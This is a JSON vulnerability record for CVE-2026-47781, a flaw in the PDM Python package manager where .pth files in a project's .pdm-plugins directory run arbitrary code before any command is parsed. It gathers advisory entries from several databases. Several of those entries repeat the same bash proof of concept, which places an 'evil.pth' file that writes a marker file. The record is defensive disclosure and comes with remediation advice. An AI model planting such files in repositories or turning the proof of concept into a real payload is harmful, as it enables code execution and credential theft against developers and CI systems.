{"id":"CVE-2026-47781","aliases":["DEBIAN-CVE-2026-47781","EUVD-2026-52867","GHSA-qq6c-99pv-prvf","PYSEC-2026-2863","UBUNTU-CVE-2026-47781","openSUSE-SU-2026:11124-1","openSUSE-SU-2026:21161-1"],"status":"published","title":"pdm: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing","description":"PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.","severity":{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00187,"percentile":0.08407,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-829","CWE-94"],"published":"2026-06-11T13:25:28Z","modified":"2026-10-28T02:30:51Z","fixes":[{"ecosystem":"PyPI","package":"pdm","fixed_in":["2.27.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"pdm","fixed_in":["2.27.0-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pdm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.26.9"},{"fixed":"2.27.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"pdm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.1+ds1-1","2.2.1+ds1-2","2.20.0.post1+ds1-1","2.20.0.post1+ds1-2","2.20.1+ds1-1","2.20.1+ds1-2","2.23.1-1","2.23.1-2","2.23.1-3","2.23.1-4","2.26.2-1","2.26.6-1","2.27.0-1","2.28.0-1","2.28.1-1","2.29.0-1","2.29.2-1","2.29.3-1"]},{"source":"osv","ecosystem":"Debian:13","package":"pdm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.20.1+ds1-2","2.23.1-1","2.23.1-2","2.23.1-3","2.23.1-4","2.26.2-1","2.26.6-1","2.27.0-1","2.28.0-1","2.28.1-1","2.29.0-1","2.29.2-1","2.29.3-1"]},{"source":"osv","ecosystem":"Debian:14","package":"pdm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.27.0-1"}]}],"versions":["2.20.1+ds1-2","2.23.1-1","2.23.1-2","2.23.1-3","2.23.1-4","2.26.2-1","2.26.6-1"]},{"source":"osv","ecosystem":"PyPI","package":"pdm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.27.0"}]}],"versions":["0.0.0","0.0.1","0.0.3","0.0.4","0.0.5","0.0.6","0.1.0","0.1.1","0.1.2","0.10.0","0.10.1","0.10.2","0.11.0","0.12.0","0.12.1","0.12.2","0.12.3","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.3.0","0.3.1","0.3.2","0.4.0","0.4.1","0.4.2","0.5.0","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.7.0","0.7.1","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.9.0","0.9.1","0.9.2","1.0.0","1.0.0b0","1.0.0b2","1.1.0","1.10.0","1.10.1","1.10.2","1.10.3","1.11.0","1.11.1","1.11.2","1.11.3","1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.12.6","1.12.7","1.12.8","1.13.0","1.13.0.post0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.14.0","1.14.1","1.15.0","1.15.1","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.0.post1","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.5.0","1.5.0b0","1.5.0b1","1.5.1","1.5.2","1.5.3","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.7.0","1.7.1","1.7.2","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.8.5","1.9.0","2.0.0","2.0.0a1","2.0.0b1","2.0.0b2","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.10.0","2.10.1","2.10.2","2.10.3","2.10.4","2.11.0","2.11.1","2.11.2","2.12.0","2.12.1","2.12.2","2.12.3","2.12.4","2.13.0","2.13.1","2.13.2","2.13.3","2.14.0","2.15.0","2.15.1","2.15.2","2.15.3","2.15.4","2.16.0","2.16.1","2.17.0","2.17.1","2.17.2","2.17.3","2.18.0","2.18.1","2.18.2","2.19.0","2.19.0a0","2.19.1","2.19.2","2.19.3","2.2.0","2.2.1","2.20.0","2.20.0.post1","2.20.1","2.21.0","2.22.0","2.22.1","2.22.2","2.22.3","2.22.4","2.23.0","2.23.1","2.24.0","2.24.1","2.24.2","2.25.0","2.25.1","2.25.2","2.25.3","2.25.4","2.25.5","2.25.6","2.25.7","2.25.8","2.25.9","2.26.0","2.26.1","2.26.2","2.26.3","2.26.4","2.26.5","2.26.6","2.26.7","2.26.8","2.26.9","2.3.0","2.3.1","2.3.2","2.3.3","2.3.4","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.4.6","2.4.7","2.4.8","2.4.9","2.5.0","2.5.0b0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.6.0","2.6.1","2.7.0","2.7.1","2.7.2","2.7.3","2.7.4","2.8.0","2.8.0a0","2.8.0a1","2.8.0a2","2.8.1","2.8.2","2.9.0","2.9.1","2.9.2","2.9.3"]},{"source":"osv","ecosystem":"PyPI","package":"pdm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.27.0"}]}],"versions":["0.0.0","0.0.1","0.0.3","0.0.4","0.0.5","0.0.6","0.1.0","0.1.1","0.1.2","0.10.0","0.10.1","0.10.2","0.11.0","0.12.0","0.12.1","0.12.2","0.12.3","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.3.0","0.3.1","0.3.2","0.4.0","0.4.1","0.4.2","0.5.0","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.7.0","0.7.1","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.9.0","0.9.1","0.9.2","1.0.0","1.0.0b0","1.0.0b2","1.1.0","1.10.0","1.10.1","1.10.2","1.10.3","1.11.0","1.11.1","1.11.2","1.11.3","1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.12.6","1.12.7","1.12.8","1.13.0","1.13.0.post0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.14.0","1.14.1","1.15.0","1.15.1","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.0.post1","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.5.0","1.5.0b0","1.5.0b1","1.5.1","1.5.2","1.5.3","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.7.0","1.7.1","1.7.2","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.8.5","1.9.0","2.0.0","2.0.0a1","2.0.0b1","2.0.0b2","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.10.0","2.10.1","2.10.2","2.10.3","2.10.4","2.11.0","2.11.1","2.11.2","2.12.0","2.12.1","2.12.2","2.12.3","2.12.4","2.13.0","2.13.1","2.13.2","2.13.3","2.14.0","2.15.0","2.15.1","2.15.2","2.15.3","2.15.4","2.16.0","2.16.1","2.17.0","2.17.1","2.17.2","2.17.3","2.18.0","2.18.1","2.18.2","2.19.0","2.19.0a0","2.19.1","2.19.2","2.19.3","2.2.0","2.2.1","2.20.0","2.20.0.post1","2.20.1","2.21.0","2.22.0","2.22.1","2.22.2","2.22.3","2.22.4","2.23.0","2.23.1","2.24.0","2.24.1","2.24.2","2.25.0","2.25.1","2.25.2","2.25.3","2.25.4","2.25.5","2.25.6","2.25.7","2.25.8","2.25.9","2.26.0","2.26.1","2.26.2","2.26.3","2.26.4","2.26.5","2.26.6","2.26.7","2.26.8","2.26.9","2.3.0","2.3.1","2.3.2","2.3.3","2.3.4","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.4.6","2.4.7","2.4.8","2.4.9","2.5.0","2.5.0b0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.6.0","2.6.1","2.7.0","2.7.1","2.7.2","2.7.3","2.7.4","2.8.0","2.8.0a0","2.8.0a1","2.8.0a2","2.8.1","2.8.2","2.9.0","2.9.1","2.9.2","2.9.3"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"pdm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.23.1-4","2.27.0-1","2.28.0-1","2.28.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"pdm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.20.1+ds1-2","2.23.1-4"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-pdm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.28.0-1.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-pdm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.22.3-bp160.2.1"}]}],"bundled":3}],"products":[{"vendor":"pdm-project","product":"pdm"}],"references":[{"url":"https://github.com/pdm-project/pdm/security/advisories/GHSA-qq6c-99pv-prvf","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/pdm-project/pdm/releases/tag/2.27.0","tags":["x_refsource_MISC","web","report"]},{"url":"https://github.com/advisories/GHSA-qq6c-99pv-prvf","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47781.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47781","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-47781","tags":["advisory"]},{"url":"https://github.com/pdm-project/pdm","tags":["package"]},{"url":"https://pypi.org/project/pdm","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-47781","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-47781","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-47763","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-47764","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-47781","tags":["web"]},{"url":"https://bugzilla.suse.com/1268384","tags":["report"]},{"url":"https://bugzilla.suse.com/1268385","tags":["report"]},{"url":"https://bugzilla.suse.com/1268386","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-47781","title":"pdm: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing","description":"PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.","status":"published","published":"2026-08-04T18:42:23.036Z","modified":"2026-08-05T13:48:50.422Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-829","CWE-94"],"updated_at":"2026-11-02T13:36:40.478484Z"}],"euvd":[{"id":"EUVD-2026-52867","description":"PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.","status":"published","published":"2026-08-04T18:42:23Z","modified":"2026-08-05T13:48:50Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:02:10.319044Z"}],"ghsa":[{"id":"GHSA-qq6c-99pv-prvf","title":"PDM: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing","description":"## Summary\n\nPDM automatically loads project-local plugin paths from `.pdm-plugins` during `Core` initialization. Because this path is added via `site.addsitedir()`, attacker-controlled `.pth` files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.\n\nThis allows arbitrary code execution with the privileges of the user running `pdm` from an untrusted repository checkout.\n\n## Affected Behavior\n\n- Trigger does not require `pdm install --plugins`\n- A low-impact command such as `pdm --version` is sufficient\n- Impact is strongest in CI, privileged shells, and automation contexts\n\n## Affected Code\n\n- `src/pdm/core.py:74-82`\n- `src/pdm/core.py:310-333`\n- `src/pdm/core.py:335-352`\n\n## Technical Details\n\n`Core.__init__()` calls `load_plugins()` before ordinary command execution. `load_plugins()` calls `_add_project_plugins_library()`, which derives the project-local `.pdm-plugins` library path and adds it through `site.addsitedir()`.\n\nOn CPython, `site.addsitedir()` processes `.pth` files found in the added directory. `.pth` lines beginning with `import ` are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.\n\n## Impact\n\n- Arbitrary code execution as the invoking user\n- Potential credential theft, persistence, or workspace tampering\n- Potential privilege escalation when `pdm` is run via `sudo`, root-owned CI jobs, or privileged service accounts\n\n## Reproduction\n\nPoC:\n\n```bash\n# Replace this with a Python interpreter that can run `python -m pdm`.\nPDM_PY=/path/to/python-with-pdm\ntmpdir=$(mktemp -d)\n\ncat \u003e \"$tmpdir/pyproject.toml\" \u003c\u003c'EOF'\n[project]\nname = \"plugin-autoload-demo\"\nversion = \"0.0.1\"\nEOF\n\npurelib=$(TMPDIR_ROOT=\"$tmpdir/.pdm-plugins\" \"$PDM_PY\" - \u003c\u003c'PY'\nimport os\nimport sys\nimport sysconfig\n\nbase = os.environ[\"TMPDIR_ROOT\"]\nscheme_names = sysconfig.get_scheme_names()\nif (sys.platform == \"darwin\" and \"osx_framework_library\" in scheme_names) or sys.platform == \"linux\":\n    scheme = \"posix_prefix\"\nelif sys.version_info \u003c (3, 10):\n    scheme = \"nt\" if os.name == \"nt\" else \"posix_prefix\"\nelse:\n    scheme = sysconfig.get_default_scheme()\nreplace_vars = {\"base\": base, \"platbase\": base}\nprint(sysconfig.get_path(\"purelib\", scheme, replace_vars))\nPY\n)\n\nmkdir -p \"$purelib\"\nmarker=\"$tmpdir/plugin-autoload-marker.txt\"\nprintf '%s\\n' \"import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')\" \u003e \"$purelib/evil.pth\"\n\n(\n  cd \"$tmpdir\" \u0026\u0026\n  \"$PDM_PY\" -m pdm --version\n)\n\ncat \"$marker\"\n```\n\nExpected result:\n\n- A temporary project is created\n- An `evil.pth` file is placed under `.pdm-plugins`\n- Running `pdm --version` creates a marker file before CLI exit\n\nObserved output from local validation:\n\n```text\nPDM, version 2.26.9\n\n--- marker ---\nproject plugin autoload executed\n```\n\n## Severity\n\nHigh\n\n## CVSS v4.0\n\n- Base score: `8.4` (`High`)\n- Vector: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`\n\nRationale:\n\n- `AV:L`: exploitation occurs through local execution of `pdm` against attacker-controlled repository content\n- `AC:L`: no special bypass or race is required\n- `AT:N`: no external precondition beyond the vulnerable workflow is required\n- `PR:N`: the attacker does not need privileges on the victim host\n- `UI:A`: the victim must actively run a `pdm` command in the malicious checkout\n- `VC:H/VI:H/VA:H`: successful exploitation yields arbitrary code execution as the invoking user\n- `SC:N/SI:N/SA:N`: the score is kept to same-system impact only\n\n## Root Cause\n\nProject-local plugin paths are implicitly trusted and loaded too early, and `.pth` processing is inherited from `site.addsitedir()`.\n\n## Recommended Remediation\n\n- Do not auto-load project-local `.pdm-plugins` by default\n- Avoid `site.addsitedir()` for project-controlled plugin paths\n- If project plugins must be supported, require explicit opt-in such as `--enable-project-plugins`\n- Explicitly prevent `.pth` execution when loading project plugin paths\n\n## Disclosure Notes\n\nThis issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.","status":"published","published":"2026-06-11T13:25:28Z","modified":"2026-06-11T13:25:31Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:40:26.12116Z"}],"nvd":[{"id":"CVE-2026-47781","description":"PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.","status":"published","published":"2026-08-04T19:16:51.24Z","modified":"2026-10-24T16:10:00.153Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-94","CWE-829"],"updated_at":"2026-11-02T14:12:34.643497Z"}],"osv":[{"id":"CVE-2026-47781","title":"pdm: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing","description":"PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.","status":"published","published":"2026-08-04T18:42:23.036Z","modified":"2026-10-28T02:30:51.947506125Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-829","CWE-94"],"updated_at":"2026-11-02T15:45:06.701612Z"},{"id":"DEBIAN-CVE-2026-47781","description":"PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.","status":"published","published":"2026-08-04T19:16:51.24Z","modified":"2026-10-25T09:47:33.648886445Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:45:56.444225Z"},{"id":"GHSA-qq6c-99pv-prvf","title":"PDM: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing","description":"## Summary\n\nPDM automatically loads project-local plugin paths from `.pdm-plugins` during `Core` initialization. Because this path is added via `site.addsitedir()`, attacker-controlled `.pth` files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.\n\nThis allows arbitrary code execution with the privileges of the user running `pdm` from an untrusted repository checkout.\n\n## Affected Behavior\n\n- Trigger does not require `pdm install --plugins`\n- A low-impact command such as `pdm --version` is sufficient\n- Impact is strongest in CI, privileged shells, and automation contexts\n\n## Affected Code\n\n- `src/pdm/core.py:74-82`\n- `src/pdm/core.py:310-333`\n- `src/pdm/core.py:335-352`\n\n## Technical Details\n\n`Core.__init__()` calls `load_plugins()` before ordinary command execution. `load_plugins()` calls `_add_project_plugins_library()`, which derives the project-local `.pdm-plugins` library path and adds it through `site.addsitedir()`.\n\nOn CPython, `site.addsitedir()` processes `.pth` files found in the added directory. `.pth` lines beginning with `import ` are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.\n\n## Impact\n\n- Arbitrary code execution as the invoking user\n- Potential credential theft, persistence, or workspace tampering\n- Potential privilege escalation when `pdm` is run via `sudo`, root-owned CI jobs, or privileged service accounts\n\n## Reproduction\n\nPoC:\n\n```bash\n# Replace this with a Python interpreter that can run `python -m pdm`.\nPDM_PY=/path/to/python-with-pdm\ntmpdir=$(mktemp -d)\n\ncat \u003e \"$tmpdir/pyproject.toml\" \u003c\u003c'EOF'\n[project]\nname = \"plugin-autoload-demo\"\nversion = \"0.0.1\"\nEOF\n\npurelib=$(TMPDIR_ROOT=\"$tmpdir/.pdm-plugins\" \"$PDM_PY\" - \u003c\u003c'PY'\nimport os\nimport sys\nimport sysconfig\n\nbase = os.environ[\"TMPDIR_ROOT\"]\nscheme_names = sysconfig.get_scheme_names()\nif (sys.platform == \"darwin\" and \"osx_framework_library\" in scheme_names) or sys.platform == \"linux\":\n    scheme = \"posix_prefix\"\nelif sys.version_info \u003c (3, 10):\n    scheme = \"nt\" if os.name == \"nt\" else \"posix_prefix\"\nelse:\n    scheme = sysconfig.get_default_scheme()\nreplace_vars = {\"base\": base, \"platbase\": base}\nprint(sysconfig.get_path(\"purelib\", scheme, replace_vars))\nPY\n)\n\nmkdir -p \"$purelib\"\nmarker=\"$tmpdir/plugin-autoload-marker.txt\"\nprintf '%s\\n' \"import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')\" \u003e \"$purelib/evil.pth\"\n\n(\n  cd \"$tmpdir\" \u0026\u0026\n  \"$PDM_PY\" -m pdm --version\n)\n\ncat \"$marker\"\n```\n\nExpected result:\n\n- A temporary project is created\n- An `evil.pth` file is placed under `.pdm-plugins`\n- Running `pdm --version` creates a marker file before CLI exit\n\nObserved output from local validation:\n\n```text\nPDM, version 2.26.9\n\n--- marker ---\nproject plugin autoload executed\n```\n\n## Severity\n\nHigh\n\n## CVSS v4.0\n\n- Base score: `8.4` (`High`)\n- Vector: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`\n\nRationale:\n\n- `AV:L`: exploitation occurs through local execution of `pdm` against attacker-controlled repository content\n- `AC:L`: no special bypass or race is required\n- `AT:N`: no external precondition beyond the vulnerable workflow is required\n- `PR:N`: the attacker does not need privileges on the victim host\n- `UI:A`: the victim must actively run a `pdm` command in the malicious checkout\n- `VC:H/VI:H/VA:H`: successful exploitation yields arbitrary code execution as the invoking user\n- `SC:N/SI:N/SA:N`: the score is kept to same-system impact only\n\n## Root Cause\n\nProject-local plugin paths are implicitly trusted and loaded too early, and `.pth` processing is inherited from `site.addsitedir()`.\n\n## Recommended Remediation\n\n- Do not auto-load project-local `.pdm-plugins` by default\n- Avoid `site.addsitedir()` for project-controlled plugin paths\n- If project plugins must be supported, require explicit opt-in such as `--enable-project-plugins`\n- Explicitly prevent `.pth` execution when loading project plugin paths\n\n## Disclosure Notes\n\nThis issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.","status":"published","published":"2026-06-11T13:25:28Z","modified":"2026-07-13T16:42:59.452875804Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:54.760124Z"},{"id":"PYSEC-2026-2863","title":"PDM: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing","description":"## Summary\n\nPDM automatically loads project-local plugin paths from `.pdm-plugins` during `Core` initialization. Because this path is added via `site.addsitedir()`, attacker-controlled `.pth` files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.\n\nThis allows arbitrary code execution with the privileges of the user running `pdm` from an untrusted repository checkout.\n\n## Affected Behavior\n\n- Trigger does not require `pdm install --plugins`\n- A low-impact command such as `pdm --version` is sufficient\n- Impact is strongest in CI, privileged shells, and automation contexts\n\n## Affected Code\n\n- `src/pdm/core.py:74-82`\n- `src/pdm/core.py:310-333`\n- `src/pdm/core.py:335-352`\n\n## Technical Details\n\n`Core.__init__()` calls `load_plugins()` before ordinary command execution. `load_plugins()` calls `_add_project_plugins_library()`, which derives the project-local `.pdm-plugins` library path and adds it through `site.addsitedir()`.\n\nOn CPython, `site.addsitedir()` processes `.pth` files found in the added directory. `.pth` lines beginning with `import ` are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.\n\n## Impact\n\n- Arbitrary code execution as the invoking user\n- Potential credential theft, persistence, or workspace tampering\n- Potential privilege escalation when `pdm` is run via `sudo`, root-owned CI jobs, or privileged service accounts\n\n## Reproduction\n\nPoC:\n\n```bash\n# Replace this with a Python interpreter that can run `python -m pdm`.\nPDM_PY=/path/to/python-with-pdm\ntmpdir=$(mktemp -d)\n\ncat \u003e \"$tmpdir/pyproject.toml\" \u003c\u003c'EOF'\n[project]\nname = \"plugin-autoload-demo\"\nversion = \"0.0.1\"\nEOF\n\npurelib=$(TMPDIR_ROOT=\"$tmpdir/.pdm-plugins\" \"$PDM_PY\" - \u003c\u003c'PY'\nimport os\nimport sys\nimport sysconfig\n\nbase = os.environ[\"TMPDIR_ROOT\"]\nscheme_names = sysconfig.get_scheme_names()\nif (sys.platform == \"darwin\" and \"osx_framework_library\" in scheme_names) or sys.platform == \"linux\":\n    scheme = \"posix_prefix\"\nelif sys.version_info \u003c (3, 10):\n    scheme = \"nt\" if os.name == \"nt\" else \"posix_prefix\"\nelse:\n    scheme = sysconfig.get_default_scheme()\nreplace_vars = {\"base\": base, \"platbase\": base}\nprint(sysconfig.get_path(\"purelib\", scheme, replace_vars))\nPY\n)\n\nmkdir -p \"$purelib\"\nmarker=\"$tmpdir/plugin-autoload-marker.txt\"\nprintf '%s\\n' \"import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')\" \u003e \"$purelib/evil.pth\"\n\n(\n  cd \"$tmpdir\" \u0026\u0026\n  \"$PDM_PY\" -m pdm --version\n)\n\ncat \"$marker\"\n```\n\nExpected result:\n\n- A temporary project is created\n- An `evil.pth` file is placed under `.pdm-plugins`\n- Running `pdm --version` creates a marker file before CLI exit\n\nObserved output from local validation:\n\n```text\nPDM, version 2.26.9\n\n--- marker ---\nproject plugin autoload executed\n```\n\n## Severity\n\nHigh\n\n## CVSS v4.0\n\n- Base score: `8.4` (`High`)\n- Vector: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`\n\nRationale:\n\n- `AV:L`: exploitation occurs through local execution of `pdm` against attacker-controlled repository content\n- `AC:L`: no special bypass or race is required\n- `AT:N`: no external precondition beyond the vulnerable workflow is required\n- `PR:N`: the attacker does not need privileges on the victim host\n- `UI:A`: the victim must actively run a `pdm` command in the malicious checkout\n- `VC:H/VI:H/VA:H`: successful exploitation yields arbitrary code execution as the invoking user\n- `SC:N/SI:N/SA:N`: the score is kept to same-system impact only\n\n## Root Cause\n\nProject-local plugin paths are implicitly trusted and loaded too early, and `.pth` processing is inherited from `site.addsitedir()`.\n\n## Recommended Remediation\n\n- Do not auto-load project-local `.pdm-plugins` by default\n- Avoid `site.addsitedir()` for project-controlled plugin paths\n- If project plugins must be supported, require explicit opt-in such as `--enable-project-plugins`\n- Explicitly prevent `.pth` execution when loading project plugin paths\n\n## Disclosure Notes\n\nThis issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script 